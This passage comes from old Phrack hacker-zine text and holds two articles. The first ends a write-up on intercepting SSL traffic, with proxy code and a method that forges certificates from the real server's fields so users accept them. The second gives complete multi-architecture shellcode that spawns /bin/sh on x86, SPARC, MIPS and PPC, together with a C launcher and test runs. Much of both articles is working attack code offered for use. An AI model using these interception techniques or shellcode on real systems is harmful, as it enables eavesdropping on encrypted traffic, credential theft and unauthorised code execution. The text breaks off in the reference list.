the LAN of the client. ARP-tricks do the job pretty well
then, the FW-rules will not even change.
With these redirect-rules we could already set up a simple bouncer
with a tiny select() loop. The target-address can be found using
the operating system API (usually via getsockopt() or alike,
I compiled NS_Socket::dstaddr() function for the most important OSes :)
Using our little bouncer, we can not see what is passed on the link,
since we do not involve SSL itself.
To be able to see plain traffic, we should modify our (virtual)
little bouncer with a SSL_accpet() and a SSL_connect() statement.
After accpet()ing the connection we would connect() to the real
target and issue a call to SSL_connect(). Done that, we invoke
SSL_accept(). Assuming we had done the initialization stuff before
such as loading the key-file etc. the SSL-client will now prompt
the bouncer-cert to the user.
Obviously for him that this is faked, because when he surfes
company-A and gets cert for company-B or 'MiM' he is probably a little
bit confused.
We will solve that problem. Our calls to SSL_connect() and
SSL_accept() are already in the right order, and I will now
explain why.
4. DCA
------
We can already see the plain text of the connection via SSL_read()
and forward it to the target via SSL_write() if the user
on the SSL-client just accepts the certificate.
It is now time to solve the second part-problem: faking
the certificate.
Remember, we first issued SSL_connect(), before we do
the SSL_accept(), so the server sees us as a legitimate
client when doing SSL_connect() and does the SSL handshake.
As a result we have the server certificate.
Lets see what we have so far:
...
// block for incoming connections
while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {
// Get real destination
// of connection
if (NS_Socket::dstaddr(afd, &dst) < 0) {
log(NS_Socket::why());
die(NULL);
}
...
++i;
if (fork() == 0) {
// --- client-side
if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
log("main::socket");
die(NULL);
}
if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
log(NS_Socket::why());
die(NULL);
}
// fire up connection to real server
if (connect(sfd2, (struct sockaddr*)&dst,
sizeof(dst)) < 0) {
log("main::connect");
die(NULL);
}
...
client->start();
client->fileno(sfd2); // this socket to use
// do SSL handshake
if (client->connect() < 0) {
log("Clientside handshake failed. Aborting.");
die(NULL);
}
The handshake with the real server is finished right *now*.
Take this as some sort of SSL-pseudocode, the use of SSL_connect()
and SSL_accept() is encapsulated into client and server objects respectively.
Now we can prepare ourself to be a server for the SSL-client:
// --- server-side
server->start(); // create SSL object
server->fileno(afd); // set socket to use
Not calling SSL_accept() until we actually do the fake:
if (enable_dca)
NS_DCA::do_dca(client, server);
Dynamic Certificate Assembly (DCA) does the following:
Given an almost empty certificate (all RDN are non-existant
except C -- Country) the do_dca() fills this X509 cert with the contents
of the X509 certificate obtained during SSL-handshake with the
server before. We rip the L, ST, O, CN, the OU and the Email field
(as present) and place it into our certificate which we will show
to the SSL-client. This is done using some ugly string-parsing, and
using X509_() functions offered by OpenSSL.
For the OU field in the issuer we append a space " " which will not show up
in the window of the SSL-client but makes it differ from
the saved certs from public CA's. The user will be prompted to
accept a cert from a "well known CA" (because user sees the name,
but not the appended space, SSL-client can not find apropriate
public key for this CA and prompts), which he will probably accept.
Nice eh? As a special gift, we can use the subject fields (CN,...) for the
issuer-fields so the former public CA signed X509-cert becomes
self-signed! Since self-signed certificates are usually shown to the user
he cant know it is a fake!
Assembled the cert, lets just show it to the client:
// do SSL handshake as fake-server
if (server->accept() < 0) {
log("Serverside handshake failed. Aborting.");
die(NULL);
}
ssl_forward(client, server);
Done. ssl_forward() just calls SSL_read/SSL_write in a loop and records
the plain data. We could also modify the stream, replaying or supressing
it -- as we wish.
Lets fetch a X509-cert from a https-server via cf when mimd is active:
[starting mimd somewhere, maybe on localhost]
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= /Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2
As you can see, the public key differs to the one before (without mimd)
because it is the mimd key itself. The C field contains "US" and "EU"
where only the latter is shown in Netscape, so no difference.
Aware of the " " in the OU field? Since the original cert did not
contain a OU field, it now is just a " ". Does not matter.
The issuer has been taken from original issuer-field in X509 cert.
Now, lets try to take the subject-field for the issuer. Somewhat
obsolete for this example because it is not signed by a public CA, but
in case an important public CA signed the cert, a self-signed
fake might be a nice toy:
[restarting mimd, this time in the 'use-subject' way]
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2
The only diff between these two is that a CN shows up in
the issuer-field now which has not been there before.
It would have more effect with public CA's as I already mentioned.
5. Conclusion
-------------
To conclude: a user surfing the web with interactive
client as they exist by now CAN NOT KNOW that his
connection is subject to a mim attack. There is no
way for him to distinguish between 'browser prompts
because company uses unknown CA' or 'the unknown CA
is mimd'. Even when he already surfed the site and saved
the cert (!) he can fall into this trap. An attentive user
MIGHT notice that he is prompted to accept a 'RSA Data Security'
or a 'Verisign' signed cert and wonders. Enabling
self-signing switch in mimd will kill his doubts.
In this article I focused on the 'separate-ports' way to
break SSL, there is also a thing called 'upward negotiation'
which turns a former plain-text stream into a SSL stream
via a keyword (STARTTLS for example). All things said about
SSL apply to it as well, just you can not use mimd in this
case, because you need to filter SSL connections and forward
it to mimd. This will probably be done using MSG_PEEK; we
are researching. :)
Thanks to
Segfault Consortium for providing a testing environment and
various folks for proof-reading the article. Blame them
if something is wrong. :)
References:
-----------
[1] "SSL and TLS" Designing and Building Secure Systems
Eric Rescorla, AW 2001
A 'must-read' if you want/need to know how SSL works.
[2] "Angewandte Kryptographie"
Bruce Schneier, AW 1996
THE book for crypto-geeks. I read the german version,
in english its 'Applied Cryptographie'
[2] various openssl c-files and manpages
[3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz
A DCA implementation, described in this article;
also contains 'cf' tool.
[4] In case you cannot try mimd on your local box, view
a snapshot from a mim-ed session provided by TESO:
http://www.team-teso.net/ssl-security.png
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0e of 0x12
|=---------------=[ Architecture Spanning Shellcode ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ eugene@gravitino.net ]=-------------------------=|
Introduction
------------
At defcon8 caezar's challenge 4 party [1] a problem was present to write
a shellcode that would run on two or more processor platforms. Below you
will find my solution (don't forget to check the credits section).
The general idea behind an architecture spanning shellcode is trying
to come up with a sequence of bytes that would execute a jump instruction
on one architecture while executing a nop-like instruction on another
architecture. That way we can branch to architecture specific code
depending on the platform our code is running on.
Here is an ASCII representation of our byte stream:
XXX
arch1 shellcode
arch2 shellcode
where XXX is a sequence of bytes that is going to branch to arch2's
shellcode on architecture 2 and is going to fall through to arch1
shellcode on architecture 1.
If we want to add more platforms we would need to add additional
jump/nop instructions for each additional platform.
MIPS architecture
------------------
A brief introduction to the MIPS architecture and writing MIPS shellcode
was described by scut in phrack 56 [2] as well as by the LSD folks in their
paper [8].
The only thing that is worse repeating here is the general MIPS
instruction format. All MIPS instructions occupy 32 bits and the sixth most
significant bits specify the instruction opcode [6][7]. There are 3
instruction formats: I-Type (immediate), J-Type (Jump) and
R-Type (Register). Since we are looking for a nop-like instructions we are
mostly interesting in I and R type instructions whose format is listed
below.
I-Type instruction format:
31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 .. 0
op | rs | rt | immediate
fields are:
op 6-bit operation code
rs 5-bit source register specifier
rt 5-bit target (src/dest) or branch condition
immediate 16-bit immediate, branch or address displacement
R-Type instruction format:
31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 14 131211|109876|5..0
op | rs | rt | rd | shamt|funct
fields are:
op 6-bit operation code
rs 5-bit source register specifier
rt 5-bit target (src/dest) or branch condition
rd 5-bit destination register specifier
shamt 5-bit shift amount
funct 6-bit function field
Sparc architecture
------------------
Similarly to MIPS, Sparc is a RISC based architecture. All the Sparc
instructions occupy 32 bits and the two most significant bits specify an
instruction class [4]:
op Instruction Class
00 Branch instructions
01 call instruction
10 Format Three instructions (type 1)
11 Format Three instructions (type 2)
Format one call instruction contains an op field '01' followed by 30 bits
of address. Even though this is the optimal instruction to use, since we
control 30 bits out of 32, we won't be able to use it since the jumps are
not relative and tend to have 0 bytes in them.
Format three instructions (type 2) are mostly load/store instructions
which are mostly useless to us since we are only looking for relatively
harmless nop-like instructions. We definitely don't want to use anything
that has possibility of crashing our program (SIGSEGV in case of an illegal
load/store).
This leaves us with branch and format three instructions (type 1) to use.
Here is the format of a format three instruction:
31 30 |29 28 27 26 25|24 23 22 21 20 19|18 17 16 15 14|13|12 11 10 9 8 7..0
op | rd | op3 | rs1 |01| rs2 / imm
fields are:
op 2-bit instruction class (10)
rd 5-bit destination register specifier
op3 5-bit instruction specifier
rs1 5-bit source register
0/1 1-bit constant / second source register option
rs2 / imm 13-bit specifies either a second source register or
a constant
Some of the promising looking (harmless) format three instructions are
add, and, or, xor and sll/srl (specified by op3 bits).
And here is the branch instruction format:
31 30 |29|28 27 26 25|24 23 22|21 .. 0
op |a | condition | op2 |displacement
fields are:
op 2-bit instruction class (00)
a 1-bit annulled flag
condition 5-bit condition specifier.. ba, bn, bl, ble, be, etc
op2 3-bit condition code (integer condition code is 010)
displacement 22-bit address displacement
As you can see, a lot of the fields already have predefined values which
we need to work around.
PPC architecture
----------------
PowerPC is yet another RISC architecture used by vendors such as IBM and
Apple. See LSD's paper [8] for more information.
x86 architecture
----------------
The topic of buffer overflows and shellcode on x86 architecture has been
beaten to death before. For a good introduction see Aleph1's article in
phrack 49 [3].
To expand just a little bit on the topic I am going to present x86 code
that works on multiple x86 operating systems. The idea behind an
"OS spanning" shellcode is to setup all the registers and stack in such a
way as to satisfy the requirements of all the operating systems that our
shellcode is meant to execute on. For example, BSD passes its parameters on
stack while Linux uses registers (for passing arguments to syscalls). If we
setup both registers and stack than our code would run on both BSD and
Linux x86 systems. The only problem with writing shellcode for BSD & Linux
systems is the different execve() syscall numbers the two systems use.
Linux uses syscall number 0xb while BSD uses 0x3b. To overcome this
problem, we need to distinguish between the two systems at runtime.
There are plenty of ways to do that such as checking where various segments
are mapped, the way segment registers are setup, etc. I chose to analyze
the segment registers since that method seems to be pretty robust. On Linux
systems, for example, segment registers fs and gs are set 0 (in user mode)
while on BSD systems they are set to non zero values (0x1f on OpenBSD,
0x2f on FreeBSD). We can exploit that difference to distinguish between the
two different systems. See "Adding more architectures" section for a
working example.
Another way to to handle different syscall numbers is to ignore an
"invalid system call" SIGSYS signal and just try a different syscall number
if the first execve() call failed. While that method certainly works it
is quite limited and cannot be applied to other operating systems such as
the x86 Solaris which doesn't use the 0x80 interrupt trap gate.
Note that the "OS Spanning" shellcode is certainly not restricted to an
x86 platform, the same idea can be applied to any hardware platform and any
operating system.
Putting it all together.. Architecture spanning shellcode
---------------------------------------------------------
As I have mentioned before our shellcode (first attempt) is going to look
like
XXX
arch1 shellcode
arch2 shellcode
where XXX is a specially crafted string that executes different
instructions on two different platforms.
When I initially started looking for a working XXX string, I took an x86
short jump instruction and tried to decode it on a sun box. Since the
first byte of an x86 short jump instruction is 0xEB (which is almost all
1's) [5], the instruction decoded into a weird format 3 sparc instruction.
My next attempt consisted of writing a sparc jump instruction and trying to
decode it on an x86 platform. That idea almost worked but i was unable to
decode the sparc jump instruction into a nop-like x86 xor instruction due
to a one bit offset difference. The next attempt consisted of padding an
x86 jump instruction. Since an x86 short jump instruction is 2 bytes long
and all the sparc instructions are 4 bytes long, I had 2 bytes to play
with. I knew that I had to insert some bytes before the jump 0xEB byte in
order to be able to decode the instruction into something reasonable on
sparc. For my pad bytes I chose to use the x86 0x90 nop bytes which turned
out to be a good idea since 0x90 is mostly all 0's. My instruction stream
than looked like
\x90\x90\xeb\x30
where 0x90 is the x86 nop instruction, 0xEB is the opcode for an x86 short
jump and 0x30 is a 48 byte jump offset. Here is what the above string
decoded to on a Sun machine:
(gdb) x 0x1054c
0x1054c <main+20>: 0x9090eb30
(gdb) x/t 0x1054c
0x1054c <main+20>: 10010000100100001110101100110000
(gdb) x/i 0x1054c
0x1054c <main+20>: orcc %g3, 0xb30, %o0
As you can see, our string decoded to a harmless format 3 'or'
instruction that corrupted the %o0 register. This is exactly what we were
looking for, a short jump on one architecture (x86) and a harmless
instruction on another architecture (sparc). With that in mind our
shellcode now looks like this:
\x90\x90\xeb\x30
[sparc shellcode]
[x86 shellcode]
Let's try it out..
[openbsd]$ cat ass.c ; ass as in Architecture Spanning Shellcode :)
char sc[] =
/* magic string */
"\x90\x90\xeb\x30"
/* sparc solaris execve() */
"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */
"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */
"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */
"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */
"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */
"\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */
"\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */
"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* BSD execve() */
"\xeb\x17" /* jmp */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */
"\x53" /* push %ebx */
"\x56" /* push %esi */
"\x50" /* push %eax */
"\xb0\x3b" /* mov $0x3b, %al */
"\xcd\x80" /* int $0x80 */
"\xe8\xe4\xff\xff\xff" /* call */
"\x2f\x62\x69\x6e\x2f\x73\x68"; /* /bin/sh */
int main(void)
{
void (*f)(void) = (void (*)(void)) sc;
f();
return 0;
}
[openbsd]$ gcc ass.c
[openbsd]$ ./a.out
$ uname -ms
OpenBSD i386
[solaris]$ gcc ass.c
[solaris]$ ./a.out
$ uname -ms
SunOS sun4u
it worked!
Adding more architectures
-------------------------
Theoretically, spanning shellcode is not tied to any specific operating
system nor any specific hardware architecture. Thus it should be possible
to write shellcode that runs on more than two architectures. The format
for our shellcode (second attempt) that runs on 3 architectures is going
to be
XXX
YYY
arch1 shellcode
arch2 shellcode
arch3 shellcode
where arch1 is MIPS, arch2 is Sparc and arch3 is x86.
My first attempt was to try and reuse the magic string from ass.c.
Unfortunately, 0x9090eb30 didn't decode into anything reasonable on an IRIX
platform and so I was forced to look elsewhere. My next attempt was to
replace 0x90 bytes with some other nop-like bytes looking for a sequence
that would work on both Sparc & MIPS platforms. After a trying out a bunch
of x86 nop instructions from K2's ADMmutate toolkit, I stumbled upon an AAA
instruction whose opcode was 0x37. The AAA instruction worked out great
since the 0x3737eb30 string decoded correctly on all three platforms:
x86:
aaa
aaa
jmp +120
sparc:
sethi %hi(0xdFADE000), %i3
mips:
ori $s7,$t9,0xeb78
with XXX string out of the way, I was left with MIPS and Sparc platforms
YYY part. The very first instruction I tried worked on both platforms.
The instruction was a Sparc annulled short jump ba,a (0x30800012) which
decoded to
andi $zero,$a0,0x12
on a MIPS platform. Not only did the jump instruction decoded to a harmless
'andi' on a MIPS platform, it also didn't require a branch delay slot
instruction after it since the ba jump was annulled [4].
So now our shellcode looks like this
"\x37\x37\xeb\x78" /* x86: aaa; aaa; jmp 116+4 */
/* MIPS: ori $s7,$t9,0xeb78 */
/* Sparc: sethi %hi(0xdfade000),%i3*/
"\x30\x80\x00\x12" /* MIPS: andi $zero,$a0,0x12 */
/* Sparc: ba,a +72 */
[snip real shellcode]
While we are adding more architectures to our shellcode let's also take
a look at PPC/AIX. The first logical thing to do is to try and decode
the existing XXX and YYY strings from the above shellcode on the PPC
platform:
(gdb) x 0x10000364
0x10000364 <main+36>: 0x3737eb78
(gdb) x/i 0x10000364
0x10000364 <main+36>: addic. r25,r23,-5256
(gdb) x/x 0x10000368
0x10000368 <main+40>: 0x30800012
(gdb) x/i 0x10000368
0x10000368 <main+40>: addic r4,r0,18
is this our lucky day or what? the XXX and YYY strings from the above
MIPS/x86/Sparc combo have correctly decoded to two harmless add
instructions. All we need to do now is to come up with another instruction
that is going to execute a jump on a MIPS platform while executing a nop on
PPC/AIX. After a bit of searching MIPS 'bgtz' instruction turned out to
decode into a valid multiply instruction on AIX:
[MIPS]
(gdb) x 0x10001008
0x10001008 <sc+8>: 0x1ee00101
(gdb) x/i 0x10001008
0x10001008 <sc+8>: bgtz $s7,0x10001410 <+1040>
[AIX]
(gdb) x 0x10000378
0x10000378 <main+56>: 0x1ee00101
(gdb) x/i 0x10000378
0x10000378 <main+56>: mulli r23,r0,257
the bgtz instruction is a branch on greater than zero [7]. Notice that the
branch instruction uses the $s7 register which was modified by us in a
previous nop instruction. The branch displacement is set to 0x0101 (to
avoid NULL bytes in the instruction) which is equivalent to a relative
1028 byte forward jump. Let's put everything together now..
[openbsd]$ cat ass.c
/*
* Architecture/OS Spanning Shellcode
*
* runs on x86 (freebsd, netbsd, openbsd, linux), MIPS/Irix, Sparc/Solaris
* and PPC/AIX (AIX platforms require -DAIX compiler flag)
*
* eugene@gravitino.net
*/
char sc[] =
/* voodoo */
"\x37\x37\xeb\x7b" /* x86: aaa; aaa; jmp 116+4 */
/* MIPS: ori $s7,$t9,0xeb7b */
/* Sparc: sethi %hi(0xdFADEc00), %i3 */
/* PPC/AIX: addic. r25,r23,-5253 */
"\x30\x80\x01\x14" /* MIPS: andi $zero,$a0,0x114 */
/* Sparc: ba,a +1104 */
/* PPC/AIX: addic r4,r0,276 */
"\x1e\xe0\x01\x01" /* MIPS: bgtz $s7, +1032 */
/* PPC/AIX: mulli r23,r0,257 */
"\x30\x80\x01\x14" /* fill in the MIPS branch delay slot
with the above MIPS / AIX nop */
/* PPC/AIX shellcode by LAST STAGE OF DELIRIUM *://lsd-pl.net/ */
"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
"\x40\x82\xff\xfd" /* bnel <syscallcode> */
"\x7e\xa8\x02\xa6" /* mflr r21 */
"\x3a\xc0\x01\xff" /* lil r22,0x1ff */
"\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */
"\x7e\xb5\xba\x14" /* cax r21,r21,r23 */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"\x04\x82\x53\x71"
"\x87\xa0\x89\xfc"
"\x69\x68\x67\x65"
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca 0x0 */
"\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x55\xff\xf4" /* lbz r2,-12(r21) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"/bin/sh"
/* x86 BSD/Linux execve() by me */
"\xeb\x29" /* jmp */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */
"\x53" /* push %ebx */
"\x56" /* push %esi */
"\x50" /* push %eax */
/* setup registers for linux */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x8d\x56\x08" /* lea 0x8(%esi),%edx */
"\x89\xf3" /* mov %esi, %ebx */
/* distinguish between BSD & Linux */
"\x8c\xe0" /* movl %fs, %eax */
"\x21\xc0" /* andl %eax, %eax */
"\x74\x04" /* jz +4 */
"\xb0\x3b" /* mov $0x3b, %al */
"\xeb\x02" /* jmp +2 */
"\xb0\x0b" /* mov $0xb, %al */
"\xcd\x80" /* int $0x80 */
"\xe8\xd2\xff\xff\xff" /* call */
"\x2f\x62\x69\x6e" /* /bin */
"\x2f\x73\x68" /* /sh */
/*
* pad the MIPS/Irix & Sparc/Solaris shellcodes
* jumps of > 0x0101 bytes are performed on both platforms
* to avoid NULL bytes in the jump instructions
*/
"2359595912811011811145128130124118116118121114127231291301241171"
"2911813245571341291181211101231241181291101234512913012411712911"
"8132455712712412112411245123118120128451291301241171291181324512"
"9128118133114451141004559113130110111451141171294511512445134129"
"1301101141112311411712945571171121291181321284511411712945113123"
"1104512312412712911211412111445114117129451151244511312112712413"
"2451141171294559595913212412345113121127124132451271301244512811"
"8451281181179797117118128451181284512413012745132124127121113451"
"2312413259595945129117114451321241271211134512411545129117114451"
"1412111411212912712412345110123113451291171144512813211812911211"
"7574512911711423111114110130129134451241154512911711445111110130"
"1135945100114451141331181281294513211812911712413012945128120118"
"1234511212412112412757451321181291171241301294512311012911812412"
"31101211181291345745132118"
/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso */
"\xaf\xa0\xff\xfc" /* sw $zero, -4($sp) */
"\x24\x06\x73\x50" /* li $a2, 0x7350 */
"\x04\xd0\xff\xff" /* bltzal $a2, dpatch */
"\x8f\xa6\xff\xfc" /* lw $a2, -4($sp) */
/* a2 = (char **) envp = NULL */
"\x24\x0f\xff\xcb" /* li $t7, -53 */
"\x01\xe0\x78\x27" /* nor $t7, $t7, $zero */
"\x03\xef\xf8\x21" /* addu $ra, $ra, $t7 */
/* a0 = (char *) pathname */
"\x23\xe4\xff\xf8" /* addi $a0, $ra, -8 */
/* fix 0x42 dummy byte in pathname to shell */
"\x8f\xed\xff\xfc" /* lw $t5, -4($ra) */
"\x25\xad\xff\xbe" /* addiu $t5, $t5, -66 */
"\xaf\xed\xff\xfc" /* sw $t5, -4($ra) */
/* a1 = (char **) argv */
"\xaf\xa4\xff\xf8" /* sw $a0, -8($sp) */
"\x27\xa5\xff\xf8" /* addiu $a1, $sp, -8 */
"\x24\x02\x04\x23" /* li $v0, 1059 (SYS_execve) */
"\x01\x01\x01\x0c" /* syscall */
"\x2f\x62\x69\x6e" /* .ascii "/bin" */
"\x2f\x73\x68\x42" /* .ascii "/sh", .byte 0xdummy */
/* Sparc Solaris execve() by an unknown author */
"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */
"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */
"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */
"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */
"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */
"\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */
"\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */
"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
;
int main(void)
{
#if defined(AIX)
/* copyright LAST STAGE OF DELIRIUM feb 2001 poland */
int jump[2]={(int)sc,*((int*)&main+1)};
((*(void (*)())jump)());
#else
void (*f)(void) = (void (*)(void)) sc;
f();
#endif
return 0;
}
[openbsd]$ gcc ass.c
[openbsd]$ ./a.out
$ uname -ms
OpenBSD i386
[freebsd]$ gcc ass.c
[freebsd]$ ./a.out
$ uname -ms
FreeBSD i386
[linux]$ gcc ass.c
[linux]$ ./a.out
$ uname -ms
Linux i686
[solaris]$ gcc ass.c
[solaris]$ ./a.out
$ uname -ms
SunOS sun4u
[irix]$ gcc ass.c
[irix]$ ./a.out
$ uname -ms
IRIX IP22
[aix]$ gcc ass.c
[aix]$ ./a.out
$ uname -ms
AIX 000089101000
Conclusion
-----------
Architecture spanning shellcode is a specially crafted code that executes
differently depending on the architecture it is being run on. The code
achieves that by using a series of bytes which execute differently on
different architectures.
OS spanning shellcode is specially crafted code that executes on
multiple operating systems all running on the same platform. The code
achieves that by setting up the registers and the stack in a way that
satisfies the operating systems that the code is being run on.
Credits / Thanks
----------------
Greg Hoglund working with me on this idea at the challenge party
prole and harm for coming with an idea way before the challenge
http://www.redgeek.net/~prole/ASSC.txt
gravitino.net, GHI, skyper, spoonm
References
----------
[1] Caezar's challenge
http://www.caezarschallenge.org
[2] Writing MIPS/IRIX shellcode
scut (phrack 56)
[3] Smashing The Stack For Fun And Profit
Aleph One (phrack 49)
[4] SPARC Architecture, Assembly Language Programming, and C. 2nd ed.
Richard P. Paul
[5] IA-32 Intel Architecture, Software Developer's Manual
Intel, Corp
http://developer.intel.com
[6] Computer Organization and Design
